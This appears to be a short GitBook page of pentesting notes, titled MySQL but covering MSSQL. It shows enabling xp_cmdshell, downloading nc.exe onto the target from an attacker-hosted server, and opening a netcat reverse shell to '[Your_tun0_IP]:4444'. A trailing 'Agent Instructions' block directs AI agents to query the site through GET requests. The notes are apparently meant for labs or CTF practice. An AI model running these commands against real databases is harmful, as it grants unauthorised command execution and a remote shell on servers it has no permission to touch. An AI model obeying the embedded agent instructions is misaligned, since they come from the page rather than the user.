# My-SQL Root Access

```




----------------
After connecting :
Should we execute commands here:
>>>SELECT is_srvrolemember('sysadmin');
This will return us 1, which means true. So we can proceed -
>>>EXECUTE sp_configure 'show advanced options',1;
>>>RECONFIGURE;
>>>EXECUTE sp_configure 'xp_cmdshell',1;
>>>RECONFIGURE;
Now try running :
>>>xp_cmdshell "whoami"

-----------------

mssql stable shell:
>>>https://github.com/int0x33/nc.exe/blob/master/nc.exe  → downloads this on kali 
>>>python3 -m http.server → on kali 
>>> xp_cmdshell "powershell.exe wget http://[Your_tun0_IP]:8000/nc.exe -OutFile c:\\Users\Public\\nc.exe"  
>>>nc -lvnp 4444  → on kali
>>>xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe [Your_tun0_IP] 4444"

----------------------------------------------------------------------------------------------------------------
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://p1yushsecurity.gitbook.io/offsec/common-ports/tcp/sql/mysql/my-sql-root-access.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
